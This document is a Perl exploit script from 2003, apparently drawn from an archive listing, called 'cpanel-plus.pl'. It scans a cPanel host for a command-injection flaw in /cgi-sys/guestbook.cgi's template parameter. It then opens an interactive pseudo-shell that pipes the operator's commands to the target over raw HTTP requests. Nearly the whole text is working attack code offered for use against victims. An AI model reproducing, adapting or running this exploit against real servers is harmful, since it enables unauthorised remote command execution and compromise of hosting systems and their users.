home *** CD-ROM | disk | FTP | other *** search
- #####################################################
- # cpanel-plus.pl exploit
- # Spawn bash style Shell on Apache CPANEL
- #
- # Spabam 2003 PRIV8 code
- # #hackarena irc.brasnet.org
- # This Script is currently under development
- #####################################################
- use strict;
- use IO::Socket;
- my $host;
- my $port;
- my $command;
- my $url;
- my @results;
- my $probe;
- my @U;
- my $shit;
- $U[1] = "/cgi-sys/guestbook.cgi?user=cpanel&template=|";
- &intro;
- &scan;
- &choose;
- &command;
- &exit;
- sub intro {
- &help;
- &host;
- &server;
- sleep 3;
- };
- sub host {
- print "\nHost or IP : ";
- $host=<STDIN>;
- chomp $host;
- if ($host eq ""){$host="127.0.0.1"};
- $shit="|";
- $port="80";
- chomp $port;
- if ($port =~/\D/ ){$port="80"};
- if ($port eq "" ) {$port = "80"};
- };
- sub server {
- my $X;
- print "\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n";
- $probe = "string";
- my $output;
- my $webserver = "something";
- &connect;
- for ($X=0; $X<=10; $X++){
- $output = $results[$X];
- if (defined $output){
- if ($output =~/Apache/){ $webserver = "Apache" };
- };
- };
- if ($webserver ne "Apache"){
- my $choice = "y";
- chomp $choice;
- if ($choice =~/N/i) {&exit};
- }else{
- print "\n\nOK";
- };
- };
- sub scan {
- my $status = "not_vulnerable";
- print "\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n";
- my $loop;
- my $output;
- my $flag;
- $command="dir";
- for ($loop=1; $loop < @U; $loop++) {
- $flag = "0";
- $url = $U[$loop];
- $probe = "scan";
- &connect;
- foreach $output (@results){
- if ($output =~ /Directory/) {
- $flag = "1";
- $status = "vulnerable";
- };
- };
- if ($flag eq "0") {
- }else{
- print "\a\a\a\n$host VULNERABLE TO CPANEL 5 $loop !!!";
- };
- };
- if ($status eq "not_vulnerable"){
-
- };
- };
- sub choose {
- my $choice="0";
- chomp $choice;
- if ($choice > @U){ &choose };
- if ($choice =~/\D/g ){ &choose };
- if ($choice == 0){ &other };
- $url = $U[$choice];
- };
- sub other {
- my $other = "/cgi-sys/guestbook.cgi?user=cpanel&template=|";
- chomp $other;
- $U[0] = $other;
- };
- sub command {
- while ($command !~/quit/i) {
- print "\n[$host]\$ ";
- $command = <STDIN>;
- chomp $command;
- if ($command =~/quit/i) { &exit };
- if ($command =~/url/i) { &choose };
- if ($command =~/scan/i) { &scan };
- if ($command =~/help/i) { &help };
- $command =~ s/\s/+/g;
- $probe = "command";
- if ($command !~/quit|url|scan|help/) {&connect};
- };
- &exit;
- };
- sub connect {
- my $connection = IO::Socket::INET->new (
- Proto => "tcp",
- PeerAddr => "$host",
- PeerPort => "$port",
- ) or die "\nSorry UNABLE TO CONNECT To $host On Port $port.\n";
- $connection -> autoflush(1);
- if ($probe =~/command|scan/){
- print $connection "GET $url$command$shit HTTP/1.0\r\n\r\n";
- }elsif ($probe =~/string/) {
- print $connection "HEAD / HTTP/1.0\r\n\r\n";
- };
-
- while ( <$connection> ) {
- @results = <$connection>;
- };
- close $connection;
- if ($probe eq "command"){ &output };
- if ($probe eq "string"){ &output };
- };
- sub output{
- my $display;
- if ($probe eq "string") {
- my $X;
- for ($X=0; $X<=10; $X++) {
- $display = $results[$X];
- if (defined $display){print "$display";};
- sleep 1;
- };
- }else{
- foreach $display (@results){
- print "$display";
- sleep 1;
- };
- };
- };
- sub exit{
- print "\n\n\n
- SPABAM 2003.";
- print "\n\n\n";
- exit;
- };
- sub help {
- print "\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n";
- print "\n
- CPANEL-PLUS 0.9.9 STABLE by SPABAM 2003";
- print "\n
- ";
- print "\n A CPANEL EXPLOIT WHICH SPAWN A BASH STYLE SHELL";
- print "\n
- note.. web directory is normally /var/www/html";
- print "\n";
- print "\n Host: www.victim.com or xxx.xxx.xxx.xxx (RETURN for 127.0.0.1)";
- print "\n\n\n\n\n\n\n\n\n\n\n\n";
- };
-